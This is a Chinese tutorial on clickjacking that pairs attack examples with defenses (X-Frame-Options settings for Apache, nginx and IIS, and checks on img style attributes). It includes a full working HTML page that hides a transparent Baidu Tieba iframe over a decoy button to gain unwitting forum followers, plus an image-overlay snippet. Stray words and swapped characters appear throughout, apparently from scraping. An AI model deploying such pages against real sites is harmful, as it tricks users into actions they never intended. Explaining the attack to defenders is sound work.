点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,而后诱使用户在该页面上进行操做,此时用户将在不知情的状况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;html
iframe覆盖nginx
直接示例说明web
1. 假如咱们在百度有个贴吧,想偷偷让别人关注它。因而咱们准备一个页面:浏览器
<!DOCTYPE HTML> <html> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <head> <title>点击劫持</title> <style> html,body,iframe{ display: block; height: 100%; width: 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:0; filter:alpha(opacity=0); position:absolute; z-index:2; } button{ position:absolute; top: 315px; left: 462px; z-index: 1; width: 72px; height: 26px; } </style> </head> <body> 那些不能说的秘密 <button>查看详情</button> <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe> </body> </html>
PS:页面看起来就这样,固然真正攻击的页面会精致些,不像这么简陋。app
2. 网址传播出去后,用户手贱点击了查看详情后,其实就会点到关注按钮。网站
PS:能够把iframe透明设为0.3看下实际点到的东西。ui
3. 这样贴吧就多了一个粉丝了。htm
解决办法图片
使用一个HTTP头——X-Frame-Options。X-Frame-Options能够说是为了解决ClickJacking而生的,它有三个可选的值:ci
DENY:浏览器会拒绝当前页面加载任何frame页面;
SAMEORIGIN:frame页面的地址只能为同源域名下的页面;
ALLOW-FROM origin:容许frame加载的页面地址;
PS:浏览器支持状况:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。
具体的设置方法:
Apache配置:
Header always append X-Frame-Options SAMEORIGIN
nginx配置:
add_header X-Frame-Options SAMEORIGIN;
IIS配置:
<system.webServer> ... <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.webServer>
图片覆盖
图片覆盖攻击(Cross Site Image Overlaying),攻击者使用一张或多张图片,利用图片的style或者可以控制的CSS,将图片覆盖在网页上,造成点击劫持。固然图片自己所带的信息可能就带有欺骗的含义,这样不须要用户点击,也能达到欺骗的目的。
PS:这种攻击很容易出如今网站自己的页面。
示例
在能够输入HTML内容的地方加上一张图片,只不过将图片覆盖在指定的位置。
<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"> <img src="XXXXXX" style="position:absolute;top:90px;left:320px;" /> </a>
解决办法
在防护图片覆盖攻击时,须要检查用户提交的HTML代码中,img标签的style属性是否可能致使浮出。
总结
点击劫持算是一种不少人不大关注的攻击,他须要诱使用户与页面进行交互,实施的攻击成本更高。另外开发者可能会以为是用户犯蠢,不重视这种攻击方式。